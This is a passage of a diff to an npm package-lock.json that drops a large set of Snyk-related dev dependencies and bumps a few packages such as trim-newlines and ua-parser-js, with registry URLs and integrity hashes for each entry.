- "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "dev": true, - "requires": { - "glob": "^7.1.3" - } - }, - "tmp": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz", - "integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==", - "dev": true, - "requires": { - "rimraf": "^2.6.3" - }, - "dependencies": { - "rimraf": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", - "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", - "dev": true, - "requires": { - "glob": "^7.1.3" - } - } - } - }, - "tslib": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.1.tgz", - "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA==", - "dev": true - } - } - }, - "snyk-nodejs-lockfile-parser": { - "version": "1.32.0", - "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.32.0.tgz", - "integrity": "sha512-FdYa/7NibnJPqBfobyw5jgI1/rd0LpMZf2W4WYYLRc2Hz7LZjKAByPjIX6qoA+lB9SC7yk5HYwWj2n4Fbg/DDw==", - "dev": true, - "requires": { - "@snyk/graphlib": "2.1.9-patch.3", - "@yarnpkg/core": "^2.4.0", - "@yarnpkg/lockfile": "^1.1.0", - "event-loop-spinner": "^2.0.0", - "got": "11.4.0", - "lodash.clonedeep": "^4.5.0", - "lodash.flatmap": "^4.5.0", - "lodash.isempty": "^4.4.0", - "lodash.set": "^4.3.2", - "lodash.topairs": "^4.3.0", - "p-map": "2.1.0", - "snyk-config": "^4.0.0-rc.2", - "tslib": "^1.9.3", - "uuid": "^8.3.0", - "yaml": "^1.9.2" - }, - "dependencies": { - "uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "dev": true - } - } - }, - "snyk-nuget-plugin": { - "version": "1.21.0", - "resolved": "https://registry.npmjs.org/snyk-nuget-plugin/-/snyk-nuget-plugin-1.21.0.tgz", - "integrity": "sha512-c/JYF3sZzMN/lYz171zrEkVcPqDVcUTVgKIKHiL8nhhuFKxZQ1gzqOgk+lnfN31TLoTNQsZ3DhW/WY+4zEALvw==", - "dev": true, - "requires": { - "debug": "^4.1.1", - "dotnet-deps-parser": "5.0.0", - "jszip": "3.4.0", - "snyk-paket-parser": "1.6.0", - "tslib": "^1.11.2", - "xml2js": "^0.4.17" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "jszip": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.4.0.tgz", - "integrity": "sha512-gZAOYuPl4EhPTXT0GjhI3o+ZAz3su6EhLrKUoAivcKqyqC7laS5JEv4XWZND9BgcDcF83vI85yGbDmDR6UhrIg==", - "dev": true, - "requires": { - "lie": "~3.3.0", - "pako": "~1.0.2", - "readable-stream": "~2.3.6", - "set-immediate-shim": "~1.0.1" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "pako": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", - "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", - "dev": true - } - } - }, - "snyk-paket-parser": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/snyk-paket-parser/-/snyk-paket-parser-1.6.0.tgz", - "integrity": "sha512-6htFynjBe/nakclEHUZ1A3j5Eu32/0pNve5Qm4MFn3YQmJgj7UcAO8hdyK3QfzEY29/kAv/rkJQg+SKshn+N9Q==", - "dev": true, - "requires": { - "tslib": "^1.9.3" - } - }, - "snyk-php-plugin": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/snyk-php-plugin/-/snyk-php-plugin-1.9.2.tgz", - "integrity": "sha512-IQcdsQBqqXVRY5DatlI7ASy4flbhtU2V7cr4P2rK9rkFnVHO6LHcitwKXVZa9ocdOmpZDzk7U6iwHJkVFcR6OA==", - "dev": true, - "requires": { - "@snyk/cli-interface": "^2.9.1", - "@snyk/composer-lockfile-parser": "^1.4.1", - "tslib": "1.11.1" - }, - "dependencies": { - "tslib": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.1.tgz", - "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA==", - "dev": true - } - } - }, - "snyk-poetry-lockfile-parser": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/snyk-poetry-lockfile-parser/-/snyk-poetry-lockfile-parser-1.1.6.tgz", - "integrity": "sha512-MoekbWOZPj9umfukjk2bd2o3eRj0OyO+58sxq9crMtHmTlze4h0/Uj4+fb0JFPBOtBO3c2zwbA+dvFQmpKoOTA==", - "dev": true, - "requires": { - "@snyk/cli-interface": "^2.9.2", - "@snyk/dep-graph": "^1.23.0", - "debug": "^4.2.0", - "toml": "^3.0.0", - "tslib": "^2.0.0" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "tslib": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", - "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", - "dev": true - } - } - }, - "snyk-policy": { - "version": "1.19.0", - "resolved": "https://registry.npmjs.org/snyk-policy/-/snyk-policy-1.19.0.tgz", - "integrity": "sha512-XYjhOTRPFA7NfDUsH6uH1fbML2OgSFsqdUPbud7x01urNP9CHXgUgAD4NhKMi3dVQK+7IdYadWt0wrFWw4y+qg==", - "dev": true, - "requires": { - "debug": "^4.1.1", - "email-validator": "^2.0.4", - "js-yaml": "^3.13.1", - "lodash.clonedeep": "^4.5.0", - "promise-fs": "^2.1.1", - "semver": "^6.0.0", - "snyk-module": "^3.0.0", - "snyk-resolve": "^1.1.0", - "snyk-try-require": "^2.0.0" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "lru-cache": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - "dev": true, - "requires": { - "yallist": "^3.0.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - }, - "snyk-try-require": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/snyk-try-require/-/snyk-try-require-2.0.1.tgz", - "integrity": "sha512-VCOfFIvqLMXgCXEdooQgu3A40XYIFBnj0X8Y01RJ5iAbu08b4WKGN/uAKaRVF30dABS4EcjsalmCO+YlKUPEIA==", - "dev": true, - "requires": { - "debug": "^4.1.1", - "lodash.clonedeep": "^4.3.0", - "lru-cache": "^5.1.1" - } - }, - "yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", - "dev": true - } - } - }, - "snyk-python-plugin": { - "version": "1.19.8", - "resolved": "https://registry.npmjs.org/snyk-python-plugin/-/snyk-python-plugin-1.19.8.tgz", - "integrity": "sha512-LMKVnv0J4X/qHMoKB17hMND0abWtm9wdgI4xVzrOcf2Vtzs3J87trRhwLxQA2lMoBW3gcjtTeBUvNKaxikSVeQ==", - "dev": true, - "requires": { - "@snyk/cli-interface": "^2.0.3", - "snyk-poetry-lockfile-parser": "^1.1.6", - "tmp": "0.0.33" - } - }, - "snyk-resolve": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/snyk-resolve/-/snyk-resolve-1.1.0.tgz", - "integrity": "sha512-OZMF8I8TOu0S58Z/OS9mr8jkEzGAPByCsAkrWlcmZgPaE0RsxVKVIFPhbMNy/JlYswgGDYYIEsNw+e0j1FnTrw==", - "dev": true, - "requires": { - "debug": "^4.1.1", - "promise-fs": "^2.1.1" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - } - } - }, - "snyk-resolve-deps": { - "version": "4.7.2", - "resolved": "https://registry.npmjs.org/snyk-resolve-deps/-/snyk-resolve-deps-4.7.2.tgz", - "integrity": "sha512-Bmtr7QdRL2b3Js+mPDmvXbkprOpzO8aUFXqR0nJKAOlUVQqZ84yiuT0n/mssEiJJ0vP+k0kZvTeiTwgio4KZRg==", - "dev": true, - "requires": { - "ansicolors": "^0.3.2", - "debug": "^4.1.1", - "lodash.assign": "^4.2.0", - "lodash.assignin": "^4.2.0", - "lodash.clone": "^4.5.0", - "lodash.flatten": "^4.4.0", - "lodash.get": "^4.4.2", - "lodash.set": "^4.3.2", - "lru-cache": "^4.0.0", - "semver": "^5.5.1", - "snyk-module": "^3.1.0", - "snyk-resolve": "^1.0.0", - "snyk-tree": "^1.0.0", - "snyk-try-require": "^1.1.1", - "then-fs": "^2.0.0" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - } - } - }, - "snyk-sbt-plugin": { - "version": "2.11.0", - "resolved": "https://registry.npmjs.org/snyk-sbt-plugin/-/snyk-sbt-plugin-2.11.0.tgz", - "integrity": "sha512-wUqHLAa3MzV6sVO+05MnV+lwc+T6o87FZZaY+43tQPytBI2Wq23O3j4POREM4fa2iFfiQJoEYD6c7xmhiEUsSA==", - "dev": true, - "requires": { - "debug": "^4.1.1", - "semver": "^6.1.2", - "tmp": "^0.1.0", - "tree-kill": "^1.2.2", - "tslib": "^1.10.0" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - }, - "tmp": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz", - "integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==", - "dev": true, - "requires": { - "rimraf": "^2.6.3" - } - } - } - }, - "snyk-tree": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/snyk-tree/-/snyk-tree-1.0.0.tgz", - "integrity": "sha1-D7cxdtvzLngvGRAClBYESPkRHMg=", - "dev": true, - "requires": { - "archy": "^1.0.0" - } - }, - "snyk-try-require": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/snyk-try-require/-/snyk-try-require-1.3.1.tgz", - "integrity": "sha1-bgJvkuZK9/zM6h7lPVJIQeQYohI=", - "dev": true, - "requires": { - "debug": "^3.1.0", - "lodash.clonedeep": "^4.3.0", - "lru-cache": "^4.0.0", - "then-fs": "^2.0.0" - }, - "dependencies": { - "debug": { - "version": "3.2.7", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", - "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", - "dev": true, - "requires": { - "ms": "^2.1.1" - } - }, - "ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true - } - } + "version": "1.716.0", + "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.716.0.tgz", + "integrity": "sha512-I8xdRJ/tgdoNRP6U1W5yUL5mtRBvx1dgHDbBeNq2LzWY0GvHtWFdC8iz7MNbJdqOHDU21ezRaXZ2Nie+Ma6bSw==", + "dev": true }, "sockjs": { "version": "0.3.20", @@ -20352,12 +16118,6 @@ "integrity": "sha512-1klA3Gi5PD1Wv9Q0wUoOQN1IWAuPu0D1U03ThXTr0cJ20+/iq2tHSDnK7Kk/0LXJ1ztUB2/1Os0wKmfyNgUQfg==", "dev": true }, - "split-ca": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz", - "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=", - "dev": true - }, "split-string": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", @@ -20373,26 +16133,6 @@ "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", "dev": true }, - "ssh2": { - "version": "0.8.9", - "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-0.8.9.tgz", - "integrity": "sha512-GmoNPxWDMkVpMFa9LVVzQZHF6EW3WKmBwL+4/GeILf2hFmix5Isxm7Amamo8o7bHiU0tC+wXsGcUXOxp8ChPaw==", - "dev": true, - "requires": { - "ssh2-streams": "~0.4.10" - } - }, - "ssh2-streams": { - "version": "0.4.10", - "resolved": "https://registry.npmjs.org/ssh2-streams/-/ssh2-streams-0.4.10.tgz", - "integrity": "sha512-8pnlMjvnIZJvmTzUIIA5nT4jr2ZWNNVHwyXfMGdRJbug9TpI3kd99ffglgfSWqujVv/0gxwMsDn9j9RVst8yhQ==", - "dev": true, - "requires": { - "asn1": "~0.2.0", - "bcrypt-pbkdf": "^1.0.2", - "streamsearch": "~0.1.2" - } - }, "sshpk": { "version": "1.16.1", "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz", @@ -20465,12 +16205,6 @@ "readable-stream": "^2.0.2" } }, - "stream-buffers": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-3.0.2.tgz", - "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ==", - "dev": true - }, "stream-each": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/stream-each/-/stream-each-1.2.3.tgz", @@ -20500,52 +16234,6 @@ "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==", "dev": true }, - "stream-to-array": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/stream-to-array/-/stream-to-array-2.3.0.tgz", - "integrity": "sha1-u/azn19D7DC8cbq8s3VXrOzzQ1M=", - "dev": true, - "requires": { - "any-promise": "^1.1.0" - } - }, - "stream-to-promise": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/stream-to-promise/-/stream-to-promise-2.2.0.tgz", - "integrity": "sha1-se2y4cjLESidG1A8CNPyrvUeZQ8=", - "dev": true, - "requires": { - "any-promise": "~1.3.0", - "end-of-stream": "~1.1.0", - "stream-to-array": "~2.3.0" - }, - "dependencies": { - "end-of-stream": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.1.0.tgz", - "integrity": "sha1-6TUyWLqpEIll78QcsO+K3i88+wc=", - "dev": true, - "requires": { - "once": "~1.3.0" - } - }, - "once": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/once/-/once-1.3.3.tgz", - "integrity": "sha1-suJhVXzkwxTsgwTz+oJmPkKXyiA=", - "dev": true, - "requires": { - "wrappy": "1" - } - } - } - }, - "streamsearch": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz", - "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=", - "dev": true - }, "string-width": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", @@ -21345,9 +17033,9 @@ } }, "trim-newlines": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.0.tgz", - "integrity": "sha512-C4+gOpvmxaSMKuEf9Qc134F1ZuOHVXKRbtEflf4NTtuuJDEIJ9p5PXsalL8SkeRw+qit1Mo+yuvMPAKwWg/1hA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz", + "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==", "dev": true }, "type-fest": { @@ -21467,62 +17155,6 @@ "inherits": "2" } }, - "tar-stream": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", - "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", - "dev": true, - "requires": { - "bl": "^4.0.3", - "end-of-stream": "^1.4.1", - "fs-constants": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^3.1.1" - }, - "dependencies": { - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - } - } - }, - "temp-dir": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz", - "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==", - "dev": true - }, - "tempfile": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/tempfile/-/tempfile-2.0.0.tgz", - "integrity": "sha1-awRGhWqbERTRhW/8vlCczLCXcmU=", - "dev": true, - "requires": { - "temp-dir": "^1.0.0", - "uuid": "^3.0.1" - }, - "dependencies": { - "temp-dir": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-1.0.0.tgz", - "integrity": "sha1-CnwOom06Oa+n4OvqnB/AvE2qAR0=", - "dev": true - } - } - }, - "term-size": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/term-size/-/term-size-2.2.1.tgz", - "integrity": "sha512-wK0Ri4fOGjv/XPy8SBHZChl8CM7uMc5VML7SqiQ0zG7+J5Vr+RMQDoHa2CNT6KHUnTGIXH34UDMkPzAUyapBZg==", - "dev": true - }, "terser": { "version": "4.8.0", "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz", @@ -21595,15 +17227,6 @@ "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", "dev": true }, - "then-fs": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/then-fs/-/then-fs-2.0.0.tgz", - "integrity": "sha1-cveS3Z0xcFqRrhnr/Piz+WjIHaI=", - "dev": true, - "requires": { - "promise": ">=3.2 <8" - } - }, "through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", @@ -21690,12 +17313,6 @@ } } }, - "to-readable-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz", - "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==", - "dev": true - }, "to-regex": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", @@ -21729,12 +17346,6 @@ "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", "dev": true }, - "toml": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/toml/-/toml-3.0.0.tgz", - "integrity": "sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w==", - "dev": true - }, "toposort": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/toposort/-/toposort-1.0.7.tgz", @@ -21751,18 +17362,6 @@ "punycode": "^2.1.1" } }, - "tree-kill": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz", - "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==", - "dev": true - }, - "treeify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/treeify/-/treeify-1.1.0.tgz", - "integrity": "sha512-1m4RA7xVAJrSGrrXGs0L3YTwyvBs2S8PbRHaLZAkFw7JR8oIFwYtysxlBZhYIa7xSyiYJKZ3iGrrk55cGA3i9A==", - "dev": true - }, "trim-newlines": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-1.0.0.tgz", @@ -21955,12 +17554,6 @@ "integrity": "sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=", "dev": true }, - "tunnel": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", - "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==", - "dev": true - }, "tunnel-agent": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", @@ -22023,9 +17616,9 @@ "dev": true }, "ua-parser-js": { - "version": "0.7.21", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.21.tgz", - "integrity": "sha512-+O8/qh/Qj8CgC6eYBVBykMrNtp5Gebn4dlGD/kKXVkJNDwyrAwSIqwz8CDf+tsAIWVycKcku6gIXJ0qwx/ZXaQ==" + "version": "0.7.28", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.28.tgz", + "integrity": "sha512-6Gurc1n//gjp9eQNXjD9O3M/sMwVtN5S8Lv9bvOYBfKfDNiIIhqiyi01vMBO45u4zkDE420w/e0se7Vs+sIg+g==" }, "uglify-js": { "version": "3.4.10", @@ -22168,15 +17761,6 @@ "imurmurhash": "^0.1.4" } }, - "unique-string": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz", - "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==", - "dev": true, - "requires": { - "crypto-random-string": "^2.0.0" - } - }, "unist-util-find-all-after": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/unist-util-find-all-after/-/unist-util-find-all-after-3.0.2.tgz", @@ -22265,78 +17849,6 @@ "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", "dev": true }, - "update-notifier": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.3.tgz", - "integrity": "sha512-Yld6Z0RyCYGB6ckIjffGOSOmHXj1gMeE7aROz4MG+XMkmixBX4jUngrGXNYz7wPKBmtoD4MnBa2Anu7RSKht/A==", - "dev": true, - "requires": { - "boxen": "^4.2.0", - "chalk": "^3.0.0", - "configstore": "^5.0.1", - "has-yarn": "^2.1.0", - "import-lazy": "^2.1.0", - "is-ci": "^2.0.0", - "is-installed-globally": "^0.3.1", - "is-npm": "^4.0.0", - "is-yarn-global": "^0.3.0", - "latest-version": "^5.0.0", - "pupa": "^2.0.1", - "semver-diff": "^3.1.1", - "xdg-basedir": "^4.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": 